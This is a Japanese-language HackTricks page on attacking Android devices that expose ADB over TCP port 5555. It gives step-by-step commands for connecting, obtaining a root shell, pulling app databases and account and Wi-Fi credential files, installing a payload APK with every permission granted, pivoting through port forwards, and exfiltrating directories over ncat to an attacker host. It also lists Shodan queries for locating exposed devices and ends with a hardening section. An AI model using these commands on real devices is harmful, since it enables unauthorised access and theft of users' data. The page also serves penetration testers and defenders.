5555 - Android Debug Bridge

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

From the docs:

Android Debug Bridge (adb) は、Androidベースのデバイスやエミュレーターと通信するためのコマンドラインツールです。典型的なアクションには、パッケージのインストール、デバッグ、およびデバイス上でのインタラクティブなUnixシェルの取得が含まれます。

  • 歴史的なデフォルトTCPポート: 5555 (クラシックな "adb tcpip" モード)。
  • 現代のワイヤレスデバッグ (Android 11+) は、TLSペアリングとmDNSサービス発見を使用します。接続ポートは動的で、mDNSを介して発見されます; 5555でない場合があります。ペアリングは、adb pair host:port の後に adb connect を使用して行います。攻撃的な影響については、以下のノートを参照してください。

Example nmap fingerprint:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

接続

ADBが公開され、到達可能である場合は、迅速に接続して列挙を試みてください:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • デバイスがADB認証を強制する場合 (ro.adb.secure=1)、事前に認証されている必要があります (USB RSA認証) またはAndroid 11以上のワイヤレスデバッグペアリングを使用する必要があります (これはデバイスに表示される一度限りのコードが必要です)。
  • 一部のベンダーイメージ、エンジニアリング/ユーザーデバッグビルド、エミュレーター、テレビ、STB、および開発キットは、認証なしでadbdを公開するか、adbdがルートとして実行されます。その場合、通常はシェルまたはルートシェルに直接入ります。

一般的なADBコマンドのリファレンスについては、次を参照してください:

ADB Commands

クイックポストエクスプロイテーション

シェルを取得したら、権限とSELinuxコンテキストを検証します:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

データの列挙とキャプチャ

  • サードパーティアプリとパスのリスト:
bash
pm list packages -3
pm path <pkg>
  • ルート権限がある場合(adb rootまたはsuが機能します)、/dataに直接アクセスできます。そうでない場合は、デバッグ可能なアプリにはrun-asを使用してください:
bash
# ルートなしで、デバッグ可能なアプリの場合
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# ルートあり
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • 有用なシステムアーティファクト(ルートが必要):
  • /data/system/users/0/accounts.dbおよび関連するAccountManagerデータ
  • /data/misc/wifi/(古いバージョンのネットワーク設定/キー)
  • /data/data/のアプリ固有のSQLite DBおよびshared_prefs

これを使用して、機密情報(例:アプリの秘密)を取得できます。Chromeデータに関する考慮事項についてのメモは、こちらで参照してください。

コード実行とペイロード配信

  • ランタイム権限をインストールして自動付与:
bash
adb install -r -g payload.apk         # -gはマニフェストで宣言されたすべてのランタイム権限を付与します
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • アクティビティ/サービス/ブロードキャストを直接開始:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

ポートフォワーディングとピボッティング

ルートなしでも、adbはローカルポートをデバイスポートに転送できますし、その逆も可能です。これは、デバイス上でローカルにバインドされたサービスにアクセスしたり、攻撃者のサービスをデバイスに公開したりするのに便利です。

  • ホスト->デバイスを転送(ホストからデバイスのローカルサービスにアクセス):
bash
adb forward tcp:2222 tcp:22       # デバイスがSSHを実行している場合(例:Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # アプリのローカルデバッグサーバーを公開
  • デバイス->ホストを逆転送(デバイスがホスト上のサービスにアクセスできるようにする):
bash
adb reverse tcp:1080 tcp:1080     # デバイスアプリは今、ホスト:1080に127.0.0.1:1080としてアクセスできます
  • ソケットを介したファイルの抽出(sdcardへの書き込みなし):
bash
# ホストで: リッスン
ncat -lvp 9000 > dump.tar
# デバイスで: ディレクトリをtarとして送信(ルートまたはrun-asが適用される)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

ワイヤレスデバッグ(Android 11+)

最新のAndroidは、デバイス側のペアリングとmDNS発見を使用したTLS保護されたワイヤレスデバッグを実装しています:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

ノート

  • ポートは動的であり、5555を前提にしないでください。mDNSサービス名は次のようになります:
  • _adb-tls-pairing._tcp (ペアリング)
  • _adb-tls-connect._tcp (ペア接続)
  • _adb._tcp (レガシー/プレーン)
  • mDNSがフィルタリングされている場合、古典的なUSB支援による有効化が一部のビルドでまだ機能する可能性があります:adb tcpip 5555 その後 adb connect <ip>:5555 (再起動まで)。

攻撃的な含意:デバイスのUIと対話できる場合(例:物理的アクセスまたはモバイルMDMの誤設定)にワイヤレスデバッグを有効にし、ペアリングコードを表示できれば、ケーブルなしで長期間のペアADBチャネルを確立できます。一部のOEMは、ペアリングなしでエンジニアリング/開発イメージでTCP経由のADBを公開しています—常に確認してください。

ハードニング / 検出

防御者は、到達可能なadbd(TCP)が重大なリスクであると仮定すべきです。

  • 不要な場合はADBとワイヤレスデバッグを無効にしてください。開発者オプションでUSBデバッグの認証を取り消してください。
  • 信頼できないセグメントでのTCP/5555の受信およびmDNSベースのADB発見をブロックするネットワークポリシーを確保してください。
  • あなたの管理下にあるデバイスで:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # TCPリスニングを無効にする(または:adb usbを使用)
stop adbd; start adbd             # デーモンを再起動
  • 企業ネットワークでのmDNSレコード _adb._tcp_adb-tls-connect._tcp_adb-tls-pairing._tcp を監視し、予期しない5555リスナーに対してアラートを出してください。
  • 不安全なビルドのインベントリ:getprop ro.debuggablero.build.type、および ro.adb.secure

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

参考文献

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする